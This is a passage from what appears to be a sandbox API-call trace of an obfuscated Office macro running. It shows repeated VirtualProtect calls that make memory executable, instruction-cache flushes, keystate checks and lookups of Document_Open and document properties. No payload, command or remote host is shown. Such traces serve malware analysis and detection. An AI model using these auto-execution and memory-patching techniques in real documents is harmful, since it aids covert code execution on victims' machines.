() returned 0xffffffff [0099.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.896] GetCurrentProcess () returned 0xffffffff [0099.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.896] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.896] GetCurrentProcess () returned 0xffffffff [0099.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.896] GetCurrentProcess () returned 0xffffffff [0099.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.897] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.897] GetCurrentProcess () returned 0xffffffff [0099.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.897] GetCurrentProcess () returned 0xffffffff [0099.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.897] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.898] GetCurrentProcess () returned 0xffffffff [0099.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.898] GetCurrentProcess () returned 0xffffffff [0099.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.898] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.898] GetCurrentProcess () returned 0xffffffff [0099.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.898] GetCurrentProcess () returned 0xffffffff [0099.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.898] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.899] GetCurrentProcess () returned 0xffffffff [0099.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.899] GetCurrentProcess () returned 0xffffffff [0099.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.899] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.899] GetCurrentProcess () returned 0xffffffff [0099.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.899] GetCurrentProcess () returned 0xffffffff [0099.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.899] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0099.900] GetCurrentProcess () returned 0xffffffff [0099.900] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.900] GetCurrentProcess () returned 0xffffffff [0099.900] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.900] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0100.945] GetCurrentProcess () returned 0xffffffff [0100.945] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0100.945] GetCurrentProcess () returned 0xffffffff [0100.945] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0100.945] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0100.946] GetCurrentProcess () returned 0xffffffff [0100.946] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0100.946] GetCurrentProcess () returned 0xffffffff [0100.946] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0100.946] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0100.957] GetCurrentProcess () returned 0xffffffff [0100.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0100.957] GetCurrentProcess () returned 0xffffffff [0100.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0100.957] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0100.958] GetCurrentProcess () returned 0xffffffff [0100.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0100.958] GetCurrentProcess () returned 0xffffffff [0100.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0100.959] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0100.959] GetCurrentProcess () returned 0xffffffff [0100.959] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0100.960] GetAsyncKeyState (vKey=3) returned 0 [0100.961] GetAsyncKeyState (vKey=3) returned 0 [0100.961] VarCmp (pvarLeft=0x197a1c, pvarRight=0x197a0c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0100.961] VarCmp (pvarLeft=0x197a1c, pvarRight=0x197a0c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0100.977] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x197c5c | out: ppsaOut=0x197c5c) returned 0x0 [0100.977] SafeArrayAllocData (psa=0xc94f248) returned 0x0 [0100.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0100.980] CRetailMalloc_Alloc () returned 0xc837330 [0100.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0xc837330, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BuiltInDocumentProperties", lpUsedDefaultChar=0x0) returned 26 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x96\x97\x96\x97\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x96\x97\x97\x97\x96\x97\x96\x97\x96\x97\x96\x96\x97\x96\x96\x96\x97\x97\x97\x96\x97\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x96\x96\x96\x97\x96\x96\x97\x96\x96\x96\x96\x97\x97\x96\x96\x96\x96\x96\x96\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x97\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x96\x96\x96\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x96\x96\x96\x96\x97\x96\x96\x97\x96\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x96\x96\x96\x96\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x97\x97\x97\x96\x97\x97\x96\x97\x96\x97\x97\x97\x97\x96\x97\x97\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x97\x97\x97\x97\x96\x96\x97\x96\x97\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x97\x96\x97\x97\x97\x97\x96\x97\x97\x97\x97\x96\x96\x96\x96\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x97\x97\x96\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x96\x96\x97\x97\x97\x97\x97\x96\x96\x97\x96\x97\x96\x97\x97\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x96\x97\x96\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x96\x96\x97\x96\x97\x96\x97\x96\x97\x97\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x96\x97\x96\x96\x96\x97\x97\x96\x97\x97\x97\x96\x96\x96\x97\x96\x96\x97\x96\x97\x96\x96\x96\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x96\x96\x97\x96\x97\x96\x96\x96\x96\x96\x97\x96\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.981] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x97\x96\x96\x97\x97\x97\x97\x96\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x96\x97\x97\x97\x97\x97\x96\x97\x96\x97\x96\x96\x96\x97\x96\x96\x96\x97\x97\x96\x96\x97\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x97\x96\x96\x97\x97\x96\x97\x97\x96\x96\x97\x96\x96\x97\x97\x97\x96\x97\x96\x96\x97\x96\x96\x96\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x97\x97\x97\x97\x97\x96\x96\x97\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x97\x97\x97\x96\x97\x96\x96\x96\x96\x97\x96\x96\x96\x96\x97\x97\x97\x96\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96\x97\x96\x96\x97\x97\x97\x97\x97\x97\x97\x96\x97\x97\x97\x97\x97\x96\x96\x97\x97\x96\x97\x97\x96\x96\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x96\x97\x96\x96\x96\x97\x96\x96\x97\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x97\x96\x97\x96\x97\x97\x96\x96\x96\x97\x97\x97\x96\x97", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="EF9Yq0sar_", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 3 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x96\x96\x97\x96\x97\x97\x96\x96\x96\x97\x96\x96\x96\x97\x96\x97\x97\x96\x96\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x97\x97\x97\x96\x96\x96\x96\x96\x96\x96\x97\x97\x96\x96\x97\x96\x97\x97\x97\x96\x97\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="Document_Open", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 3 [0100.982] CompareStringA (Locale=0x409, dwCmpFlags=0x10001, lpString1="\x96", cchCount1=-1, lpString2="BuiltInDocumentProperties", cchCount2=-1) returned 1 [0100.982] CRetailMalloc_Free () returned 0x1 [0100.982] longjmp () [0100.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0100.982] CRetailMalloc_Alloc () returned 0xc8373d0 [0100.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BuiltInDocumentProperties", cchWideChar=-1, lpMultiByteStr=0xc8373d0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BuiltInDocumentProperties", lpUsedDefaultChar=0x0) returned 26 [0100.982] CRetailMalloc_Free () returned 0x1 [0100.982] longjmp () [0101.570] SafeArrayDestroyData (psa=0xc94f248) returned 0x0 [0101.571] SafeArrayDestroyDescriptor (psa=0xc94f248) returned 0x0 [0101.571] GetAsyncKeyState (vKey=3) returned 0 [0101.664] CRetailMalloc_Alloc () returned 0xcb7ca98 [0101.664] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.664] memcpy (in: _Dst=0xcf95050, _Src=0x1978c4, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0101.664] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.665] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2dee, cbMultiByte=20, lpWideCharStr=0x1976c4, cchWideChar=21 | out: lpWideCharStr="—–——–—––—–——————–——") returned 20 [0101.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2ec2, cbMultiByte=20, lpWideCharStr=0x197724, cchWideChar=21 | out: lpWideCharStr="—–——–—––—–——————–——") returned 20 [0101.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2ec2, cbMultiByte=20, lpWideCharStr=0x197724, cchWideChar=21 | out: lpWideCharStr="—–——–—––—–——————–——") returned 20 [0101.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2ec2, cbMultiByte=20, lpWideCharStr=0x197724, cchWideChar=21 | out: lpWideCharStr="—–——–—––—–——————–——") returned 20 [0101.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2ec2, cbMultiByte=20, lpWideCharStr=0x197724, cchWideChar=21 | out: lpWideCharStr="—–——–—––—–——————–——") returned 20 [0101.892] CRetailMalloc_Alloc () returned 0xcb64170 [0101.892] _mbscpy_s (in: _Dst=0xcb64170, _DstSizeInBytes=0x14, _Src=0x111c2ec2 | out: _Dst=0xcb64170) returned 0x0 [0101.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0b0a, cbMultiByte=27, lpWideCharStr=0x197734, cchWideChar=28 | out: lpWideCharStr="_B_var_—–——–—––—–——————–——") returned 27 [0101.893] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0x14, _Src=0x111c2ec2 | out: _Dst=0x19779c) returned 0x0 [0101.893] CRetailMalloc_Free () returned 0x1 [0101.893] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0101.893] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.893] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0101.893] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.893] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.893] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.893] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0101.894] memcpy (in: _Dst=0xcb7cb10, _Src=0x197944, _Size=0x18 | out: _Dst=0xcb7cb10) returned 0xcb7cb10 [0101.894] CRetailMalloc_Realloc () returned 0xcb7ca98 [0101.894] CRetailMalloc_Free () returned 0x1 [0101.894] GetCurrentProcess () returned 0xffffffff [0101.894] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0101.894] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.895] GetCurrentProcess () returned 0xffffffff [0101.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0101.895] GetCurrentProcess () returned 0xffffffff [0101.895] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0101.895] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.896] GetCurrentProcess () returned 0xffffffff [0101.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0101.896] GetCurrentProcess () returned 0xffffffff [0101.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0101.896] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.896] GetCurrentProcess () returned 0xffffffff [0101.896] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0101.896] GetCurrentProcess () returned 0xffffffff [0101.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0101.897] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.897] GetCurrentProcess () returned 0xffffffff [0101.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0101.897] GetCurrentProcess () returned 0xffffffff [0101.897] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0101.897] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.898] GetCurrentProcess () returned 0xffffffff [0101.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0101.898] GetCurrentProcess () returned 0xffffffff [0101.898] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0101.898] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.899] GetCurrentProcess () returned 0xffffffff [0101.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0101.899] GetCurrentProcess () returned 0xffffffff [0101.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0101.899] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.899] GetCurrentProcess () returned 0xffffffff [0101.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0101.899] GetCurrentProcess () returned 0xffffffff [0101.899] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0101.899] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.914] GetCurrentProcess () returned 0xffffffff [0101.914] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0101.914] GetCurrentProcess () returned 0xffffffff [0101.914] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0101.914] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.915] GetCurrentProcess () returned 0xffffffff [0101.915] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0101.915] GetCurrentProcess () returned 0xffffffff [0101.915] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0101.915] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.970] GetCurrentProcess () returned 0xffffffff [0101.970] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0101.970] GetCurrentProcess () returned 0xffffffff [0101.970] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0101.970] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.971] GetCurrentProcess () returned 0xffffffff [0101.971] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0101.971] GetCurrentProcess () returned 0xffffffff [0101.971] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0101.971] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.972] GetCurrentProcess () returned 0xffffffff [0101.972] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0101.972] GetCurrentProcess () returned 0xffffffff [0101.972] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0101.972] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.973] GetCurrentProcess () returned 0xffffffff [0101.973] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0101.973] GetCurrentProcess () returned 0xffffffff [0101.973] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0101.973] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.973] GetCurrentProcess () returned 0xffffffff [0101.973] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0101.973] GetCurrentProcess () returned 0xffffffff [0101.973] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0101.973] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.974] GetCurrentProcess () returned 0xffffffff [0101.974] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0101.974] GetCurrentProcess () returned 0xffffffff [0101.974] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0101.974] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0101.975] GetCurrentProcess () returned 0xffffffff [0101.975] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0101.975] GetCurrentProcess () returned 0xffffffff [0101.975] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0101.975] VirtualProtect 